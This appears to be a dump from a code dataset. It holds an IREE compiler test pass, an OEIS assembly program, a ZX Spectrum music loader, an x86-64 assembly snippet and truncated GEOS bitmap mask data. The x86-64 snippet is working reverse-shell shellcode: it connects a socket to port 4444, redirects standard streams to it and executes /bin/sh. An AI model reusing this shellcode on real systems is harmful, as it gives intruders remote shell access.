text stringlengths 1 1.05M |
|---|
// Copyright 2022 The IREE Authors
//
// Licensed under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
#include "iree/compiler/Dialect/Flow/IR/PartitionableLoopsInterface.h"
#include "iree/compiler/Dialect/Flow/Transforms/Passes.h"
#include "iree/compiler/Dialect/Util/IR/UtilOps.h"
#include "mlir/Dialect/StandardOps/IR/Ops.h"
#include "mlir/Transforms/GreedyPatternRewriteDriver.h"
static const char kAttributeName[] = "__test_interface__";
namespace mlir {
namespace iree_compiler {
namespace IREE {
namespace Flow {
namespace {
/// For ops that implement the `PartitionableLoopsInterface` that have the
/// `__test_interface__` attribute set generates a `util.unfoldable_constant`
/// with a value of type `tensor<axindex>`, where `a` is the number of loops and
/// the value has zeros for non-partitionable loops and 1 for partitionable
/// loops.
struct TestPartitionableLoopsInterfacePattern
: public OpInterfaceRewritePattern<PartitionableLoopsInterface> {
using OpInterfaceRewritePattern<
PartitionableLoopsInterface>::OpInterfaceRewritePattern;
LogicalResult matchAndRewrite(PartitionableLoopsInterface interfaceOp,
PatternRewriter &rewriter) const {
if (!interfaceOp->hasAttr(kAttributeName)) {
return failure();
}
unsigned numLoops = interfaceOp.getNumLoops();
SmallVector<unsigned> partitionableLoops =
interfaceOp.getPartitionableLoops(3);
SmallVector<int64_t> loopInfo(numLoops, 0);
for (auto partitionableLoop : partitionableLoops) {
loopInfo[partitionableLoop] = 1;
}
auto type = RankedTensorType::get(numLoops, rewriter.getIndexType());
auto constantAttr = DenseIntElementsAttr::get(type, loopInfo);
rewriter.create<Util::UnfoldableConstantOp>(interfaceOp.getLoc(),
constantAttr);
rewriter.updateRootInPlace(
interfaceOp, [&] { interfaceOp->removeAttr(kAttributeName); });
return success();
}
};
struct TestPartitionableLoopsInterfacePass
: public PassWrapper<TestPartitionableLoopsInterfacePass,
OperationPass<void>> {
StringRef getArgument() const override {
return "iree-flow-test-partitionable-loops-interface";
}
StringRef getDescription() const override {
return "Test the PartitionableLoopsInterface using operations that "
"implement that interface.";
}
void getDependentDialects(DialectRegistry ®istry) const override {
registry.insert<FlowDialect>();
}
void runOnOperation() override {
RewritePatternSet patterns(&getContext());
patterns.add<TestPartitionableLoopsInterfacePattern>(patterns.getContext());
if (failed(applyPatternsAndFoldGreedily(getOperation(),
std::move(patterns)))) {
return signalPassFailure();
}
}
};
} // namespace
std::unique_ptr<OperationPass<void>>
createTestPartitionableLoopsInterfacePass() {
return std::make_unique<TestPartitionableLoopsInterfacePass>();
}
static PassRegistration<TestPartitionableLoopsInterfacePass> pass;
} // namespace Flow
} // namespace IREE
} // namespace iree_compiler
} // namespace mlir
|
; A104512: a(n) is the minimum number that is the first of k > 1 consecutive integers whose sum equals n, or 0 if impossible.
; Submitted by Jamie Morken(s2)
; 0,0,1,0,2,1,3,0,2,1,5,3,6,2,1,0,8,3,9,2,1,4,11,7,3,5,2,1,14,4,15,0,3,7,2,1,18,8,4,6,20,3,21,2,1,10,23,15,4,8,6,3,26,2,1,5,7,13,29,4,30,14,3,0,2,1,33,5,9,7,35,4,36,17,3,6,2,1,39,14,5,19,41,7,4,20,12,3,44,2,1,8,13,22,5,31,48,11,4,9
lpb $0
mov $3,$0
seq $3,118235 ; Smallest positive number starting an interval of consecutive integers with element sum n.
add $2,$3
mov $0,$2
lpe
mov $0,$2
|
include loader.asm
init call PTxPlay
ret
interrupt call PTxPlay+5
ei
ret
; Loop until space is pressed
main halt
ld a,$7f
in a,($fe)
rra
jr c,main
ret
clean call PTxPlay+8
ret
org $c000
PTxPlay incbin PTxPlay
incbin cycler.pt3
end loader
|
global _start
section .text
_start:
xor eax, eax ; zero out EAX
xor ebx, ebx ;
xor ecx, ecx ;
xor edx, edx ;
socket:
; /usr/include/asm/unistd_64.h
; #define __NR_socket 41
; sockfd = socket(AF_INET, SOCK_STREAM, 0);
xor rdi, rdi ;
mov rdx, rdi ; // 0
add rdi, 2 ; // python -c 'import socket; print socket.AF_INET'
xor rsi, rsi ;
add rsi, 1 ; // python -c 'import socket; print socket.AF_INET'
xor rax, rax
add rax, 41
syscall
mov rdi, rax ; save sockfd dans rdi
xor rax, rax
server_struct:
push rax
mov dword [rsp-4], eax ;
mov word [rsp-6], 0x5c11 ;
mov word [rsp-8], 0x2 ; // addr.sin_family = AF_INET;
sub rsp, 8
connect:
; connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
; #define __NR_connect 42
mov rsi, rsp
mov rdx, 16
add rax, 42
syscall
duplicate_sockets:
; #define __NR_dup2 33
; dup2(sockfd, 0);
xor rsi, rsi
xor rax, rax
mov al, 33
syscall
mov sil, 1
mov al, 33
syscall
mov sil, 2
mov al, 33
syscall
execve:
; #define __NR_execve 59
; execve("/bin/sh", NULL, NULL);
xor rdi, rdi
xor rax, rax
push rax
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
push rax
mov rdx, rsp
push rdi
mov rsi, rsp
add rax, 59
syscall
|
LCMasks label byte
word C_BLACK
Bitmap <71,100,BMC_PACKBITS,BMF_4BIT or mask BMT_MASK>
db 0x00, 0x1f, 0xfa, 0xff, 0x00, 0xf0
db 0x01, 0xdd, 0xd0, 0xe1, 0x00, 0x01, 0xdd, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x01, 0xd0, 0x09, 0xe1, 0x99, 0x01, 0x00, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x00, 0xd0, 0xfc, 0x11, 0x03, 0x10, 0x00, 0x00,
0x01, 0xfc, 0x11, 0xfe, 0x00, 0xf1, 0x11, 0x01,
0x10, 0xd0
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfd, 0x99, 0x04, 0x90, 0x0e, 0xee,
0xee, 0xe0, 0xfc, 0x00, 0xfe, 0xee, 0x00, 0x00,
0xf1, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfe, 0x99, 0x01, 0x90, 0x0e, 0xf4,
0xee, 0x00, 0x00, 0xf2, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x08, 0x09, 0x99, 0x99, 0x90, 0x0e, 0xee, 0xee,
0xff, 0xff, 0xf6, 0xee, 0x00, 0x00, 0xf3, 0x99,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0a, 0x01, 0x11, 0x11, 0x0e, 0xee, 0xee, 0xef,
0xee, 0xee, 0xff, 0xfe, 0xf7, 0xee, 0x00, 0x01,
0xf4, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x02, 0x09, 0x99, 0x90, 0xfe, 0xee, 0x00, 0x8e,
0xfe, 0xee, 0x03, 0xef, 0xff, 0xff, 0xfe, 0xfe,
0xee, 0x00, 0xe8, 0xfe, 0xee, 0x00, 0xe0, 0xf4,
0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x09, 0x99, 0x0e, 0xee, 0xee, 0xe8, 0xf5,
0xee, 0x00, 0x8e, 0xfe, 0xee, 0x00, 0x09, 0xf5,
0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x08, 0x09, 0x99, 0x0e, 0xee, 0xee, 0x8e, 0xef,
0x88, 0x88, 0xfb, 0xee, 0x03, 0xe8, 0x88, 0x8e,
0xe8, 0xfe, 0xee, 0x00, 0x09, 0xf5, 0x99, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x01, 0x11, 0x0e, 0xee, 0xe8, 0xee, 0xf8,
0x8e, 0xfe, 0xee, 0x02, 0x8e, 0xee, 0xe8, 0xfe,
0xee, 0x05, 0x88, 0xee, 0x8e, 0xee, 0xee, 0x01,
0xf5, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x09, 0x90, 0xee, 0xee, 0x8e, 0xef, 0x88,
0xfd, 0xee, 0x02, 0xf8, 0x88, 0x8e, 0xfe, 0xee,
0x05, 0xe8, 0x8e, 0xe8, 0xee, 0xee, 0xe0, 0xf5,
0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfe, 0xee, 0x01, 0xf8, 0x8e,
0xf6, 0xee, 0x00, 0x88, 0xfe, 0xee, 0x00, 0xe0,
0xf5, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x09, 0x90, 0xee, 0xee, 0xef, 0x88, 0xf5,
0xee, 0x04, 0xe8, 0x8e, 0xee, 0xee, 0xe0, 0xf5,
0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x04, 0x01, 0x10, 0xee, 0xee, 0xf8, 0xf3, 0xee,
0x04, 0xe8, 0xee, 0xee, 0xe0, 0x01, 0xf6, 0x11,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x09, 0x09, 0x90, 0xee, 0xf8, 0x8e, 0xee, 0xee,
0xef, 0x88, 0x8e, 0xfd, 0xee, 0x02, 0xef, 0x88,
0x8e, 0xfe, 0xee, 0x04, 0x88, 0xee, 0xe0, 0x11,
0x19, 0xf7, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x09, 0x90, 0xef, 0x88, 0xee, 0xee, 0xf8,
0xfe, 0x88, 0xfd, 0xee, 0x00, 0xe8, 0xfe, 0x88,
0x06, 0xee, 0xee, 0xe8, 0x8e, 0xe0, 0x11, 0x11,
0xf7, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x09, 0x09, 0x90, 0xee, 0x8e, 0xef, 0x88, 0x80,
0x00, 0x00, 0x08, 0xfd, 0xee, 0x00, 0xf8, 0xfe,
0x00, 0x07, 0x88, 0x8e, 0xee, 0x8e, 0xe0, 0x11,
0x11, 0x19, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x01, 0x10, 0xef, 0x8e, 0xe8, 0xe0, 0xfd,
0x00, 0x00, 0x8e, 0xfe, 0xee, 0x00, 0x80, 0xfd,
0x00, 0x06, 0xe8, 0xee, 0x8e, 0xe0, 0x00, 0x00,
0x01, 0xf8, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfe, 0xee, 0x00, 0xe0, 0xfe,
0x00, 0x05, 0x0e, 0xe8, 0xef, 0xee, 0xe8, 0xee,
0xfd, 0x00, 0xfe, 0xee, 0x03, 0xe0, 0x11, 0x11,
0x19, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfd, 0xee, 0xfe, 0x00, 0x00,
0x0e, 0xfc, 0xee, 0xfe, 0x00, 0x00, 0x0e, 0xfe,
0xee, 0x00, 0xe0, 0xfe, 0x11, 0xf8, 0x99, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x08, 0x09, 0x90, 0xee, 0xee, 0xe8, 0xee, 0xe0,
0x00, 0x00, 0xfe, 0xee, 0x0a, 0x8e, 0xee, 0xee,
0xe0, 0x00, 0x00, 0xee, 0xe8, 0xee, 0xee, 0xe0,
0xfe, 0x11, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x04, 0x01, 0x10, 0xee, 0xee, 0xe8, 0xfb, 0xee,
0x01, 0xef, 0x8e, 0xfb, 0xee, 0x03, 0xe8, 0xee,
0xee, 0xe0, 0xfe, 0x00, 0xf8, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfe, 0xee, 0x00, 0x8e, 0xfc,
0xee, 0x01, 0xef, 0x8e, 0xfb, 0xee, 0x03, 0x8e,
0xee, 0xee, 0xe0, 0xfe, 0x11, 0xf8, 0x99, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfe, 0xee, 0x01, 0xe8, 0x88,
0xfd, 0xee, 0x01, 0xef, 0x8e, 0xfd, 0xee, 0x01,
0xe8, 0x88, 0xfe, 0xee, 0x00, 0xe0, 0xfe, 0x11,
0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xf8, 0xee, 0x01, 0xef, 0x8e,
0xf8, 0xee, 0x00, 0xe0, 0xfe, 0x11, 0xf8, 0x99,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x01, 0x10, 0xf8, 0xee, 0x01, 0xef, 0x8e,
0xf8, 0xee, 0x00, 0xe0, 0xfe, 0x00, 0xf8, 0x11,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xf7, 0xee, 0x00, 0x8e, 0xf8,
0xee, 0x00, 0xe0, 0xfe, 0x11, 0xf8, 0x99, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfb, 0xee, 0x00, 0xff, 0xfe,
0xee, 0x00, 0x8e, 0xf8, 0xee, 0x00, 0xe0, 0xfe,
0x11, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfc, 0xee, 0x05, 0xef, 0x8e,
0xee, 0xee, 0xef, 0x8e, 0xfe, 0xee, 0x00, 0x8e,
0xfc, 0xee, 0x00, 0xe0, 0xfe, 0x11, 0xf8, 0x99,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x01, 0x10, 0xfc, 0xee, 0x00, 0xf8, 0xfd,
0xee, 0x00, 0x8e, 0xfe, 0xee, 0x00, 0xe8, 0xfc,
0xee, 0x00, 0xe0, 0xfe, 0x00, 0xf8, 0x11, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfc, 0xee, 0x02, 0xf8, 0xee,
0x88, 0xfd, 0xee, 0x02, 0xe8, 0x8e, 0xe8, 0xfc,
0xee, 0x00, 0xe0, 0xfe, 0x11, 0xf8, 0x99, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfc, 0xee, 0x03, 0xf8, 0xee,
0x08, 0x8e, 0xfe, 0xee, 0x02, 0x88, 0x0e, 0xe8,
0xfc, 0xee, 0x00, 0xe0, 0xfe, 0x11, 0xf8, 0x99,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfd, 0xee, 0x0b, 0xf8, 0x80,
0x8e, 0xe0, 0x08, 0xee, 0xee, 0xe8, 0x00, 0xee,
0x80, 0x88, 0xfd, 0xee, 0x00, 0xe0, 0xfe, 0x11,
0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x01, 0x10, 0xfd, 0xee, 0x0c, 0x8e, 0xee,
0xe8, 0xee, 0xee, 0x88, 0x88, 0x8e, 0xee, 0xe8,
0xee, 0xee, 0x8e, 0xfe, 0xee, 0x00, 0xe0, 0xfe,
0x00, 0xf8, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xed, 0xee, 0x00, 0xe0, 0xfe,
0x11, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfb, 0xee, 0x04, 0xe0, 0x00,
0x00, 0x0e, 0xee, 0xfe, 0x00, 0xfb, 0xee, 0x00,
0xe0, 0xfe, 0x11, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x09, 0x90, 0xfc, 0xee, 0x00, 0xe0, 0xf8,
0x00, 0xfc, 0xee, 0x00, 0xe0, 0xfe, 0x11, 0xf8,
0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x02, 0x01, 0x11, 0x0e, 0xfd, 0xee, 0xf7, 0x00,
0x00, 0x0e, 0xfd, 0xee, 0xfd, 0x00, 0xf8, 0x11,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x09, 0x99, 0x0e, 0xee, 0xef, 0x8e, 0xe0,
0xf6, 0x00, 0x04, 0xee, 0x8e, 0xee, 0xee, 0x01,
0xfe, 0x11, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x09, 0x99, 0x90, 0xee, 0xf0, 0xee, 0xe0,
0xf6, 0x00, 0x03, 0xee, 0xe0, 0xee, 0xe0, 0xfd,
0x11, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x09, 0x99, 0x90, 0xee, 0xf8, 0xee, 0xfe,
0x00, 0x05, 0x0e, 0xee, 0x00, 0x00, 0x0e, 0xee,
0xfe, 0x00, 0x03, 0x0e, 0xe8, 0xee, 0xe0, 0xfd,
0x11, 0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x01, 0x11, 0x11, 0x0e, 0xf8, 0xee, 0xfe,
0x00, 0xfb, 0xee, 0x05, 0xe0, 0x00, 0x00, 0x0e,
0xe8, 0xee, 0xfc, 0x00, 0xf8, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0b, 0x09, 0x99, 0x99, 0x0e, 0xe8, 0xee, 0x00,
0x00, 0x0e, 0xee, 0xee, 0xff, 0xfd, 0xee, 0x05,
0x00, 0x00, 0x0e, 0xe8, 0xee, 0x01, 0xfd, 0x11,
0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x14, 0x09, 0x99, 0x99, 0x90, 0xee, 0x88, 0xe0,
0x00, 0xee, 0xee, 0xef, 0x08, 0x88, 0x8e, 0xee,
0xee, 0xe0, 0x00, 0xee, 0x8e, 0xe0, 0xfc, 0x11,
0xf8, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x03, 0x09, 0x99, 0x99, 0x90, 0xfd, 0xee, 0x09,
0xe8, 0xee, 0xe8, 0xee, 0xee, 0xe8, 0xee, 0xe8,
0xee, 0xe0, 0xfe, 0x00, 0xfc, 0x11, 0xfe, 0x00,
0xfb, 0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xfe, 0x11, 0x04, 0x0e, 0xee, 0xee,
0xe8, 0x8e, 0xfa, 0xee, 0x04, 0x80, 0x0e, 0xee,
0xee, 0xe0, 0xfc, 0x00, 0xfe, 0xee, 0x00, 0x00,
0xfc, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfe, 0x99, 0x00, 0x90, 0xf7, 0xee,
0x01, 0xe0, 0x0e, 0xf4, 0xee, 0x00, 0x00, 0xfd,
0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfd, 0x99, 0x00, 0x0e, 0xf9, 0xee,
0x01, 0xe0, 0x0e, 0xf2, 0xee, 0x00, 0x00, 0xfe,
0x99, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfd, 0x99, 0x00, 0x90, 0xf9, 0xee,
0x00, 0x0e, 0xf0, 0xee, 0x03, 0x09, 0x99, 0x99,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xfc, 0x11, 0x00, 0x00, 0xfb, 0xee,
0x00, 0xe0, 0xfc, 0xee, 0x06, 0xef, 0xff, 0xff,
0xee, 0xff, 0xee, 0xfe, 0xfb, 0xee, 0x03, 0xe0,
0x11, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfc, 0x99, 0x01, 0x11, 0x0e, 0xfc,
0xee, 0x00, 0x0e, 0xfb, 0xee, 0xfb, 0x88, 0x00,
0x8e, 0xfb, 0xee, 0x02, 0x09, 0x99, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfc, 0x99, 0x02, 0x11, 0x10, 0x0e,
0xfd, 0xee, 0x00, 0x0e, 0xee, 0xee, 0x02, 0x09,
0x99, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfc, 0x99, 0x03, 0x91, 0x11, 0x10,
0x00, 0xfe, 0xee, 0x03, 0x0e, 0xee, 0xee, 0xe8,
0xf5, 0xee, 0x00, 0xe8, 0xfe, 0xee, 0x02, 0x09,
0x99, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xfc, 0x11, 0x00, 0x10, 0xfb, 0x00,
0xfe, 0xee, 0x00, 0x8e, 0xf4, 0xee, 0x05, 0x8e,
0xee, 0xee, 0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfb, 0x99, 0xfc, 0x11, 0x07, 0x10,
0xee, 0xee, 0xe8, 0xee, 0xf8, 0x88, 0x88, 0xfb,
0xee, 0x09, 0xe8, 0x88, 0x88, 0xee, 0xe8, 0xee,
0xee, 0xe0, 0x99, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfb, 0x99, 0x00, 0x91, 0xfd, 0x11,
0x00, 0x10, 0xfe, 0xee, 0x01, 0xef, 0x8e, 0xf6,
0xee, 0x00, 0x8e, 0xfe, 0xee, 0x02, 0xe0, 0x99,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xfa, 0x99, 0xfd, 0x11, 0x00, 0x10,
0xfe, 0xee, 0x00, 0xe8, 0xfc, 0xee, 0x01, 0xe8,
0x88, 0xfc, 0xee, 0x00, 0xe8, 0xfe, 0xee, 0x02,
0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xfa, 0x11, 0x00, 0x10, 0xfd, 0x00,
0x02, 0xee, 0xee, 0x88, 0xf3, 0xee, 0x05, 0xe8,
0x8e, 0xee, 0xe0, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf9, 0x99, 0xfe, 0x11, 0x00, 0x10,
0xfd, 0xee, 0x03, 0xe8, 0x88, 0x88, 0x8e, 0xfc,
0xee, 0xfe, 0x88, 0xfd, 0xee, 0x02, 0xe0, 0x11,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf8, 0x99, 0x02, 0x11, 0x11, 0x10,
0xfe, 0xee, 0x09, 0x88, 0x80, 0x00, 0x00, 0x08,
0xee, 0xe8, 0x88, 0xee, 0xe8, 0xfe, 0x00, 0x06,
0x88, 0x8e, 0xee, 0xee, 0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf8, 0x99, 0x06, 0x91, 0x11, 0x10,
0xe8, 0x88, 0xe8, 0xe0, 0xfe, 0x00, 0x01, 0x0e,
0x8e, 0xfe, 0xee, 0x00, 0x8e, 0xfd, 0x00, 0x05,
0xe8, 0xe8, 0x88, 0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf7, 0x11, 0x01, 0x00, 0x00, 0xfe,
0xee, 0x00, 0xe0, 0xfe, 0x00, 0xfb, 0xee, 0x00,
0xe0, 0xfe, 0x00, 0xfe, 0xee, 0x02, 0xe0, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x17, 0x90, 0xee, 0xe8,
0xee, 0xee, 0x00, 0x88, 0xee, 0xe8, 0xee, 0xef,
0xee, 0xee, 0xe8, 0xee, 0xe8, 0x80, 0x0e, 0xee,
0xe8, 0xee, 0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x03, 0x90, 0xee, 0x8e,
0xe8, 0xfd, 0xee, 0x05, 0xe8, 0xee, 0xef, 0x8e,
0xee, 0xe8, 0xfd, 0xee, 0x05, 0xe8, 0xee, 0x8e,
0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x17, 0x90, 0xee, 0xee,
0xfe, 0x88, 0x88, 0x8e, 0xee, 0x8e, 0xee, 0xef,
0x8e, 0xee, 0xee, 0x8e, 0xee, 0x88, 0x88, 0x8e,
0xee, 0xee, 0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf6, 0x11, 0x00, 0x10, 0xf8, 0xee,
0x01, 0xef, 0x8e, 0xf8, 0xee, 0x02, 0xe0, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x00, 0x90, 0xf7, 0xee,
0x00, 0x8e, 0xf7, 0xee, 0x01, 0x01, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x00, 0x0e, 0xf8, 0xee,
0x01, 0xef, 0x8e, 0xf7, 0xee, 0x01, 0x01, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x00, 0x0e, 0xf8, 0xee,
0x01, 0xef, 0x8e, 0xf7, 0xee, 0x01, 0x01, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf6, 0x11, 0x00, 0x0e, 0xf7, 0xee,
0x00, 0x8e, 0xfa, 0xee, 0x04, 0x8e, 0xee, 0xee,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x03, 0x0e, 0xee, 0xee,
0x8e, 0xfe, 0xee, 0x00, 0xff, 0xfe, 0xee, 0x00,
0x8e, 0xfa, 0xee, 0x04, 0xe8, 0xee, 0xee, 0x01,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x02, 0x0e, 0xee, 0xe8,
0xfe, 0xee, 0x05, 0xef, 0x8e, 0xee, 0xee, 0xef,
0x8e, 0xfe, 0xee, 0x00, 0x8e, 0xfb, 0xee, 0x01,
0x01, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x00, 0x0e, 0xfc, 0xee,
0x00, 0xf8, 0xfd, 0xee, 0x00, 0x8e, 0xfe, 0xee,
0x00, 0xe8, 0xfb, 0xee, 0x01, 0x01, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf6, 0x11, 0x08, 0x0e, 0xee, 0xee,
0xef, 0x88, 0x8e, 0xf8, 0xee, 0x88, 0xfd, 0xee,
0x05, 0xe8, 0x8e, 0xe8, 0xee, 0x88, 0x8e, 0xfe,
0xee, 0x01, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x09, 0x0e, 0xee, 0xee,
0xe8, 0xee, 0xe8, 0xe8, 0xee, 0x08, 0x8e, 0xfe,
0xee, 0x05, 0x88, 0x0e, 0xe8, 0xe8, 0xee, 0xe8,
0xfe, 0xee, 0x01, 0x01, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x00, 0x90, 0xfc, 0xee,
0x0a, 0x80, 0x8e, 0xe0, 0x08, 0xee, 0xee, 0xe8,
0x00, 0xee, 0x80, 0x8e, 0xfd, 0xee, 0x02, 0xe0,
0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x02, 0x90, 0xee, 0xfe,
0xfd, 0xee, 0x07, 0xe8, 0xee, 0xee, 0x88, 0x88,
0x8e, 0xee, 0xe8, 0xfb, 0xee, 0x02, 0xe0, 0x11,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf6, 0x11, 0x06, 0x10, 0xee, 0xf8,
0xee, 0xe0, 0x00, 0x0e, 0xf8, 0xee, 0x07, 0x00,
0x00, 0xee, 0xe8, 0xee, 0xe0, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x03, 0x90, 0xee, 0xe8,
0xee, 0xfe, 0x00, 0x00, 0x0e, 0xfa, 0xee, 0xfe,
0x00, 0x05, 0x0e, 0xe8, 0xee, 0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf6, 0x99, 0x03, 0x90, 0xee, 0xfe,
0xee, 0xfd, 0x00, 0x00, 0x0e, 0xfc, 0xee, 0xfd,
0x00, 0x05, 0x0e, 0xee, 0xee, 0xe0, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf5, 0x99, 0x03, 0x0e, 0xee, 0xee,
0xe0, 0xfd, 0x00, 0x00, 0x0e, 0xfe, 0xee, 0xfc,
0x00, 0xfe, 0xee, 0x02, 0x01, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf5, 0x11, 0x03, 0x0e, 0xee, 0xe8,
0xee, 0xf5, 0x00, 0x03, 0x0e, 0xe8, 0xee, 0xee,
0xfe, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf5, 0x99, 0x04, 0x90, 0xee, 0xef,
0x8e, 0xe0, 0xf6, 0x00, 0x06, 0xee, 0x8e, 0xee,
